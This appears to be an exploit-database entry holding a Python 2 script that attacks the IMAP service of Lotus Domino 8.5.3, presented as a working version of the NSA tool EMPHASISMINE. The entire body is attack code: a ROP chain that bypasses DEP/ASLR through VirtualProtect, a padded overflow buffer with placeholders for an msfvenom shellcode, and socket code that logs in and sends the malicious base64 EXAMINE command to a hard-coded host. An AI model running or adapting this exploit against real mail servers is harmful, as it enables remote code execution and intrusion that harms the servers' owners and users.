ExploitFixes
Lotus Domino 8.5.3 - 'EXAMINE' Stack Buffer Overflow DEP/ASLR Bypass (NSA's EMPHASISMINE) 2019-05-08 21:05:18

##########################################################
# #
# Here is a working version of the NSA's EMPHASISMINE #
# for IMAP Server Lotus Domino 8.5.3 FP0 #
# DEP/ASLR bypass #
# #
# Replace breakpoints with msfvenom payload #
# (ALPHANUMERIC) #
# I love you Alison Thompson OAM @ThirdWaveORG #
# Author: Charles Truscott @r0ss1n1 #
# #
###########################################################


import base64
import struct
import socket
import time

rop_and_roll = struct.pack('<I', 0x00433212) # POP ECX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x41414141) # Filler
rop_and_roll += struct.pack('<I', 0x7c37a140) # ptr to &VirtualProtect() [IAT MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60609925) # MOV EAX,DWORD PTR DS:[ECX] # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x60b79a61) # XCHG EAX,ESI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62450fc4) # POP EBP # RETN [NLSCCSTR.DLL]
rop_and_roll += struct.pack('<I', 0x7c345c30) # & push esp # ret [MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60165ba9) # POP EBX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000001) # 0x00000001-> ebx
rop_and_roll += struct.pack('<I', 0x6020962e) # POP EDX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00001000) # 0x00001000-> edx
rop_and_roll += struct.pack('<I', 0x60e81a98) # POP ECX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000040) # 0x00000040-> ecx
rop_and_roll += struct.pack('<I', 0x606609f9) # POP EDI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62136802) # RETN (ROP NOP) [nxmlproc.dll]
rop_and_roll += struct.pack('<I', 0x0042ba51) # POP EAX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x90909090) # nop
rop_and_roll += struct.pack('<I', 0x60505637) # PUSHAD # RETN [nnotes.dll]


username = "user"

password = "pass"

login=". LOGIN " + " " + '"' + username + '"' + " " + '"' + password + '"' + "\r\n"


payload = "\x90" * 556 + rop_and_roll + "\x90" * 20 + "\xCC" * (1500 - 556 - len(rop_and_roll) - 20)
encoded = base64.b64encode(payload)

crash = ". EXAMINE " + "&" + encoded + "\x0d\x0a"

print crash
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(('172.16.65.128', 143))
time.sleep(3)
connectionresponse = expl.recv(1024)
print str(connectionresponse)
print "sending LOGIN request"
expl.send(login)
loginresponse = expl.recv(1024)
print str(loginresponse)
print "sending EXAMINE request"
print crash
expl.send(crash)
crashresponse = expl.recv(1024)
print str(crashresponse)
expl.close